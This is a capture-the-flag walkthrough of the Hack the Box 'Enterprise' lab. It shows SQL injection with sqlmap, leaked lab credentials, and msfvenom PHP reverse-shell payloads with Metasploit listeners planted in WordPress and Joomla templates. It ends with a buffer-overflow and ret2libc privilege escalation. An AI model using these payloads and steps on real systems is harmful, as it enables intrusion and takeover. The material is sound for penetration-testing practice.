Hack the Box Challenge: Enterprises Walkthrough

Hello friends!! Today we are going to solve another CTF challenge “Enterprise” which is available online for those who want to increase their skill in penetration testing and black box testing. Enterprise is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Expert

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.61 so let’s begin with nmap port enumeration.

nmap -sV 10.10.10.61

From given below image, you can observe we found port 22, 80, 443 and 80 are open on target system.

As port 80 is running http server we open the target machine’s ip address in our browser, and find a website that is running on wordpress.

As port 8080 is also running http server we open the target machine’s ip address in our browser, and find a website that is not made on wordpress.

When we try to open the wordpress admin page but are redirected to domain called “enterprise.htb”. We enter the domain name in /etc/hosts file.

Now when we open wp-admin, we are able to get the login page.

We run dirb on port 80 to enumerate the directories and find a directory called /files.

dirb http://10.10.10.61

We open the files/ directory, and find a zip file.

We download the zip file in our system and unzip it. After unzipping it we find 3 php files.

We take a look at the content of the files and it looks like there might be plugin called lcars that is being used by the wordpress site and by the looks of the code it is possible that is vulnerable to SQL-injection.

Now when we open it we get a php error message, we now know that this plugin is vulnerable to SQL-injection.

We use sqlmap to dump the database and found a message with a few passwords. We also find that there is a joomla database we try to dump it and find a username geordi.la.forge.

Now we use one of these passwords to login into wordpress. On the webpage we see that there are has been posts made by user william.riker. So we use credentials william.riker:u*Z14ru0p#ttj83zS6 to login into wordpress control panel.

Now we change the 404.php template with our payload to get reverse shell on the machine. First we are going to create our payload using msfvenom.

msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 –f raw

Now we are going to setup our listener using metasploit.

msf > use exploit/multi/handler

msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp

msf exploit(multi/handler) > set lhost 10.10.14.25

msf exploit(multi/handler) > set lport 4444

msf exploit(multi/handler) > run

After replacing the 404.php code with our payload, we open the 404.php page in our browser.

As soon as we open it we get our reverse shell.

After getting our reverse shell we find that we are actually in a container app and we find the machine has 2 network card.

Now we find all the ip’s in the subnet of the container.

Now we create another shell using msfvenom to upload it into the joomla site on port 8080.

Now we background our session and change the lport according to our payload.

meterpreter > background

msf exploit(multi/handler) > set lport 4455

msf exploit(multi/handler) > run

We are first going to login into the joomla site, using credentials, geordi.la.forge:ZD3YxfnSjezg67JZ and upload our shell code.

As soon as we open the page we get our reverse shell.

After getting into the joomla container, we find that we have common file called /var/www/html/files.

We create another php payload using msfvenom to upload this shell into /var/www/html/files directory.

msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 -f raw > shell1.php

We go to /var/www/html/files directory and upload the shell using meterpreter.

Now we background our current session and change the lport according to our new payload.

meterpreter > background

msf exploit(multi/handler) > set lport 5555

msf exploit(multi/handler) > run

When we go to /files directory we find that our shell has been uploaded.

As soon as we click on the payload we get our reverse shell.

After getting the reverse shell on the main machine instead of container we try to find files with suid bit set.

find / -perm -4000 2>/dev/null

We find a file called lcars, we find that it has been running on port 32812.

When we connect with it using netcat we find that it asks for access code.

We run the file on the target machine using ltrace to find the access code for this binary.

We find that when we pass a it gets compared to a string called pircarda1. We use this to login into the binary

We are able to access the file using this binary now we try to find this program is vulnerable to buffer overflow. We open the file using gdb to read the assembly code.

Now create 500 byte long string using pattern_create.rb script to find the EIP offset.

./pattern_create.rb -l 500

After searching all the options we find that option number 4 was vulnerable to buffer overflow.

We pass that into /usr/share/metasploit-framework/tools/pattern_offset.rb, we get an offset of 212. So we need to write 212 characters and then write the address of the instructions we want to be executed.

./pattern_offset -q 31684130 -l 500

Now when we try to insert shellcode into the buffer but we were unable to execute it because of DEP. It prevents code from being executed in the stack. Now we are going to do a ret2libc attack to execute a process already present in the process’ executable memory. We go into the target machine and find ASLR in enabled so we have to brute force the address. Now we find the address of system, exit and /bin/sh.

gdb /bin/lcars

(gdb) b main

(gdb) run

(gdb) p system

(gdb) find 0xf7e0bd10, +9999999, "/bin/sh"

(gdb) p exit

We create an exploit which can be found here. As soon as we run the exploit we get our reverse shell as root user. We go to /root directory and find a file called “root.txt”. When we open it we find our 1^st flag. We then go to /home directory inside we find another directory called jeanlucpicard/. Inside /home/jeanlucpicard we find a file called “user.txt”, we open it and find our final flag.